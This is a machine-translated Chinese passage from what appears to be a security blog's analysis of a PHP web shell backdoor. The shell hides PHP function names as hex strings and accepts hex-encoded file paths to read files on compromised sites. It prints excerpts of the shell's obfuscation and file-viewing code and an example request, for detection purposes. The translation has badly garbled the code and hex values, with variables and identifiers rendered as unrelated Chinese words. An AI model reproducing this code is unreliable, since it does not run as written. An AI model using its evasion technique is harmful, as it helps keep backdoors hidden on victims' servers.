攻击者总是试图想出新的方法来逃避web应用程序可用的各种安全控制的检测。这也扩展到PHP等恶意软件web shell,通常被留在被破坏的网站上作为后门,以维护未经授权的访问。
大麻是我们自去年以来一直跟踪的PHP shell的名称。作者有一个GitHub页面,该页面声称shell具有“隐身”模式,可用于绕过web应用程序防火墙(WAF)等网站安全服务。
十六进制值混淆
为了逃避基于签名的扫描程序(和其他安全控制),攻击者经常利用代码混淆技术。有时,整个文件的代码会被混淆,而其他时候,只会影响代码的特定部分。
在这种情况下大麻shell中的特定部分已被模糊处理,主要是已知可疑的PHP函数或用于多种恶意软件。
而不仅仅是在它们的明文形式,作者选择通过将函数存储在十六进制值数组中来模糊它们。
$数组= ['7068705f756e616d65', '70687076657273696f6e', '6368646972', '676574637764', '707265675f73706c6974', '636f7079', '66696c655f6765745f636f6e74656e7473', '6261736536345f6465636f6465', '69735立方英尺646972', '6f625f656e645f636c65616e28293b', '756e6c696e6b', '6d6b646972号', '63686d6f64页', '7363616e646972', '7374725f7265706c616365', '68746d6c7370656369616c6368617273', '7661725f64756d70', '666f70656e', '667772697465', '66636c6f7365号', '64617465', '66696c656d74696d65', '737562737472', '737072696e7466', '66696c657065726d73', '746f756368', '66696c655f657869737473', '72656e616d65', '69735f6172726179', '69735平方英尺6平方英尺626平方英尺56374', '737472706f73', '69735f7772697461626c65', '69735f7265616461626c65', '737472746f74696d65', '66696c6573697a65', '726d646972', '6f625f6765745f636c65616e', '7265616466696c65号', '617373657274', ];$___=计数($数组);
对于 (1美元= 0;1美元<$___;1美元++)
{GNJ美元[] =超高温气体($数组[1美元]);
}
...
功能超高温气体(美元)
{n美元= '';
对于 (1美元= 0;1美元<斯特伦(美元) - 1;1美元+= 2)
{n美元.=chr公司(十六进制(年美元[1美元] .美元[1美元+ 1]));
}
返回n美元;
}
自定义函数超高温气体包含用于将十六进制字符串还原为明文PHP函数的PHP代码。
如果我们使用PHP打印(r),我们可以按数组的顺序查看这些脱泡的PHP函数。
[0]=>php_uname-提供有关服务器操作系统的信息[1] =>phpversion-获取当前PHP版本[2] =>chdir-更改目录,这是文件管理器的必备功能[3] =>getcwd-获取当前工作目录[4] =>preg_split-使用regex分割数据字符串[5] =>复制-复制文件内容[6] =>file_get_contents-用于获取本地文件的内容,供攻击者使用PHP shell查看[7] =>base64_decode-通用解码功能...
查看泄露网站上的文件内容
除了以十六进制格式存储PHP函数外,脚本还接收攻击者以十六进制发送的命令,并在收到命令时转换为明文。
此PHP代码中可以看到此方法的一个很好的示例,该代码用于允许PHP shell的用户查看受损网站环境中文件的内容:
如果 (发行($_GET(获取)["秒"]))
{echo$a(回声$a)_.超高温气体($_GET(获取)["秒"]) .十亿美元_. '
<textarea只读=“是”>' .GNJ美元[15](百万美元[6](超高温气体($_GET(获取)["秒"]))) . '</text区域>
//这将成为htmlspecialchars(filegetcontents(index.php))
<br/>
<br/>
<input onclick=“location.href=\'?d日=' .$_GET(获取)["天"] . '&e(电子)=' .$_GET(获取)["秒"] . '\'“type=”submit“class=”w“value=” (网络广播);编辑 (网络广播);" />
' .$c美元_;
}
作为一种规避策略文件集内容功能和html专用车函数是模糊的,因为这些是恶意软件的常见标志。函数从十六进制格式转换为纯文本后,它们将存储在百万美元变量数组。
$___=计数($数组);
对于 (1美元= 0;1美元<$___;1美元++)
{GNJ美元[] =超高温气体($数组[1美元]);
}
这允许攻击者使用变量的名称,GNJ美元,以及它在括号中的数组中的显示顺序。
分配给数组位置15的PHP函数是html专用车和文件集内容被指定为数组位置6,使得攻击者可以使用变量数组代替PHP函数并混淆其用法:
GNJ美元[15](GNJ美元[6](超高温气体($_GET(获取)["秒"])))⬇️html专用车(文件集内容((超高温气体($_GET(获取)["秒"])))
最后,为了允许不良参与者查看shell中的文件内容,攻击者的浏览器提交一个GET(获取)请求带有“天“和”秒“分别包含目录名和文件名的十六进制格式的参数:
大麻.php(电话)?天=2f7661722f77772f68746d6c776f72647072657373&秒=696e6465782e706870
要识别这种类型的恶意行为,一种选择是使用类似于海鞘六角以快速转换上述十六进制值,帮助您确定请求正在尝试查看文件索引.php从目录中/var/www/html/wordpress/。另一个选项是使用我们的web应用防火墙,它检测并阻止这些类型的请求到达您的网站。
所有这些传入的模糊十六进制请求都会使WAF更难检测到恶意流量并将其阻止。
此功能最终生成一个PHP shell,可以在浏览器中加载,并用于执行常规文件管理器功能(上传、更改权限、查看文件等)。
由于PHP shell通常作为后门操作,因此它们不应该加载或破坏您的网站,并且在您开始看到受损网站的迹象之前,您可能不知道它们的存在。因此,最好在网站上使用服务器端扫描.